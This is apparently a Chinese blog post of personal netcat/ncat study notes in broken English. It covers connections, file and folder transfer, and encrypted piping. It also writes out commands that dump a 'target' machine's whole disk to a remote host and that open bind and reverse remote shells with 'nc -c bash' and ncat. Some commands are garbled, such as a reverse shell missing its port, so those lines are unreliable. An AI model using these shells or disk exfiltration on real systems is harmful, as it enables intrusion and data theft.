netcat


哈哈,最近在猛学英语,使用英语记录一下nccat的使用


Connect the destination port of computer

nc -nv 172.16.3.22 8080

Listen the port

nc -lv 8080


Command the connection computer

ls -la | nc -nv 172.16.3.22 333

and similary the computer : nc -lv 333

在这里插入图片描述


Conserve the consequence of command

nc -lv 333 > result.txt
在这里插入图片描述

if you instant to finish this connection after fulfill this command ,using the parment “-q {number}” to disconnetc the connection after “number” seconds

ls -la | nc -nv 172.16.3.22 333 -q 1
在这里插入图片描述


Transport file

forward direction

send:

nc -nv 172.16.3.22 333 < a.py -q 1

receive:

nc -lv 333 > a.py

reverse direction

send :

nc -nv 172.16.3.22 333 > a.py

receive :

nc -lv 333 < a.py -q 1


Transmit floder

using the tar to pack the files

send : tar -cvf - files | nc -lv 333 -q 1

receive : nc -nv 172.16.3.22 333 | tar -xvf -


encryp the transport

symmetric algorithms
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

recive : nc -lv 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > a.py

send : mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.py | nc -nv 172.16.3.22 333 -q 1

nd : mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.py | nc -nv 172.16.3.22 333 -q 1


Clone the hard disk of the target

Through we instant to take the all information of the target computer that is no injurious for the computer

we can use the tool “nc” to clone the target disk

following the command

target :

dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

recive :

nc -lv 333 | dd of=/dev/sda

在这里插入图片描述


Bash

we also use the “nc” to control the computer remotely

foward direcation

send :

nc -lv 333 -c bash

在这里插入图片描述

recive :

nc -nv 172.16.3.22 333

在这里插入图片描述

reverse direction

simpely we also use the reverse direction to control it

send :

nc -lv 333

recive :

nc -nv 172.16.3.22 -c bash


encrypt use the ncat

forward we use the nc to transmit the date with the mycrypt to protect the date

ncat itself carry the ssl to encrypt the date ,so we can directly employ the ncat to protect it

following the command:
在这里插入图片描述

send :

ncat -c bash --allow 172.16.3.33 -vnl 333 -ssl

在这里插入图片描述

recive :

ncat -nv 172.16.3.22 333 -ssl

在这里插入图片描述

the recommend of parameters
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值